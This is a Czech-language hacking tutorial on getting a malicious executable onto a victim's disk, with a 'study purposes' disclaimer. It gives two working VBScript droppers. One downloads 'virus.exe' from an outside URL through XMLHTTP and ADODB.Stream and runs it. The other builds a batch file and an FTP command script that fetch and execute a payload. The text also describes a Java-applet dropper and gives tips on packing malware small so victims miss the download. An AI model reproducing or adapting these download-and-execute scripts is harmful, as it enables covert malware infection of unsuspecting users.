Jak dostat binární soubor na HDD oběti?
Upozornění: Tento dokument slouží ke studijním účelům, autor nenese žádnou odpovědnost za zneužití!

Infikovat se virem, wormem, spywarem - havětí na internetu je celkem běžná záležitost, ale jak to provést?
Trošku jsem si hrál se dvěma způsoby. Oba způsoby dokáže zastavit kvalitní firewall, nicméně se vždy najdou uživatelé, kteří žádný firewall nemají – zejména ti, schovaní za proxy ve vnitřních sítích.

První způsob, spočívá ve vytvoření ActiveX prvku, který načte soubor z uvedené url a zapíše jej na disk oběti a následně tento soubor spustit. Tady začínají problémy:
1) vytvoření ActiveX objektu – povětšinou jsou tyto objekty blokovány, dojde k chybovému hlášení, script se neprovede
2) protože se jedná o VBS, tak se komunikace (stažení) bude provádět přes proces wscript.exe – může zaznamenat případný firewall
3) další bezpečnostní nastavení (v IE), které nedovolí zapisovat na disk jiné doméně než localhostovi

Set xml = CreateObject("Microsoft.XMLHTTP")
Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")

UlozitDo = "C:\"
MujVir = "virus.exe"
URL = "http://hp.lodusweb.net/virus.exe"

xml.Open "GET", URL, False
xml.Send

set oStream = createobject("Adodb.Stream")

oStream.type = 1
oStream.open
oStream.write xml.responseBody

oStream.savetofile UlozitDo & MujVir, 2
oStream.close

set oStream = nothing
Set xml = Nothing

WshShell.Run UlozitDo & MujVir

Tento způsob je zřejmě nejelegantnější ze způsobů které zde uvedu. Další způsob je pomocí stažení souboru pomocí ftp klienta na počítači oběti.

Pomocí VBS vytvoříme bat soubor a soubor s příkazy pro ftp. Zase tu platí stejné problémy jako u prvního způsobu:
1) Vytváření ActiveX objektů - bývá zakázáno
2) ftp klienta může zaznamenat firewall

dim fso, f, ap
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
Set WshShell = WScript.CreateObject("WScript.Shell")

BAT_SOUBOR = "C:\stahuj.bat"
PRIKAZY_SOUBOR = "C:\prikazy.tmp"
MUJ_VIR_SOUBOR = "soubor.exe"
MUJ_VIR_CESTA = "C:\"

fso.CreateTextFile(BAT_SOUBOR)
set ap=fso.OpenTextFile(BAT_SOUBOR,2,true)
ap.writeline "echo off"
ap.writeline "ftp -v -i -n -s:" & PRIKAZY_SOUBOR
ap.writeline MUJ_VIR_CESTA & MUJ_VIR_SOUBOR

fso.CreateTextFile(PRIKAZY_SOUBOR)
set ap=fso.OpenTextFile(PRIKAZY_SOUBOR,2,true)
ap.writeline "open server.com"
ap.writeline "login"
ap.writeline "heslo"
ap.writeline "bin"
ap.writeline "lcd " & MUJ_VIR_CESTA
ap.writeline "get " & MUJ_VIR_SOUBOR
ap.writeline "quit"

WshShell.Run BAT_SOUBOR

Kód funguje následovně, vytvoříme bat soubor do kterého vložíme příkaz pro spuštení ftp klienta a následného spuštění staženého souboru, musíme vytvořit seznam příkazů co má ftp klient udělat, protože zde není způsob jak jinak donutit ftp klienta, aby dělal to co chceme.

Tyto dva způsoby jsou nejjednodušší, existují a používají se i další způsoby. Tvůrce zase vedla myšlenka 'k čemu mají lidé ještě důvěru?' - java applety, ty má většina uživatelů povoleny.
- class soubor načte / obsahuje ve vlastním byte poli exe soubor, který zapíše na disk a spustí (způsob uchování viru ve vlastním byte array je velice výhodné, protože nedochází k jeho načítání 'odjinud', tudíž je firewallem 'neviditelné')

Viry je tedy výhodné dělat co nejmenší - ať už z důvodů rychlosti stažení (uživatel nemusí vůbec spozorovat, že ke stažení došlo), tak kvůli omezení počtu polí ve scriptu / kódu různých jazyků. Nejvýhodnější je psát tyto viry v assembleru a výsledné exáče komprimovat pomocí MEW od Northfoxe (northfox.uw.hu) - 890Byte velky exe soubor je pěkný ne? :)